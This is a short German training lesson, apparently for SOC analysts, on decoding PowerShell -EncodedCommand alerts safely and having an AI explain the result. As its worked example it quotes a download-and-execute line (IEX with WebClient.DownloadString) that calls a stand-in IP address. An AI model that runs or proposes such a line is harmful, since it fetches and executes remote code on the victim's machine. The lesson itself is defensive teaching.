Kurzer Check
Rate zuerst, ohne Punktabzug. Ein Alert zeigt powershell.exe -EncodedCommand, gefolgt von einem langen Block aus Buchstaben. Was ist der sicherste erste Schritt?
PowerShell ist die Befehlszeile von Windows. Laut Microsofts PowerShell-Doku „akzeptiert“ -EncodedCommand „eine Base64-kodierte Fassung eines Befehls“, und der Text muss UTF-16LE sein. Base64 ist eine Art, beliebige Daten als einfache Buchstaben und Ziffern zu schreiben. Admins nutzen das für Befehle mit komplizierten Anführungszeichen. Angreifer nutzen es, um bei einem schnellen Blick zu verstecken, was ein Befehl tut.
Dekodieren ist sicher: Es verwandelt die Buchstaben nur zurück in Text. Diese PowerShell-Zeile dekodiert, ohne etwas auszuführen:
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("<hier den Block einfügen>"))Dann ist KI wirklich nützlich. Sie erklärt unbekannte Befehle gut und muss dafür nichts ausführen. Deine Aufgabe ist, ihre Erklärung Zeile für Zeile mit dem dekodierten Text abzugleichen.
Arbeite in einem Labor oder auf einem freigegebenen Analyserechner, und füg nur den Befehl ein, nicht ein ganzes Log mit Benutzer- und Hostnamen.
Ein Beispiel
Der dekodierte Befehl lautete IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1'). Der Prompt (die Nachricht, die du an die KI schickst):
Erklär diesen dekodierten PowerShell-Befehl für eine Security-Analystin.
Führ ihn nicht aus und schlag auch nicht vor, ihn auszuführen.
Liste auf: was jeder Teil tut, jede URL, IP-Adresse und jeden Dateipfad darin,
was passieren würde, wenn er liefe, und was du aus dem Text nicht erkennen kannst.
Command: IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1')Lücken füllen
Füll die Lücken.
Prompt
Erklär diesen dekodierten PowerShell-Befehl. Liste jede darin auf und was du .
Probier es aus
Deine Schritte, etwa 2 Minuten
- 1.Dekodier in einem Labor oder mit einem Trainingsbeispiel einen kodierten Befehl und lass den Prompt laufen. Prüf einen Teil der Erklärung selbst. Leg eine Notiz namens „AI SOC checklist“ an: Jede Lektion in diesem Modul fügt eine Prüfung hinzu.2 Min.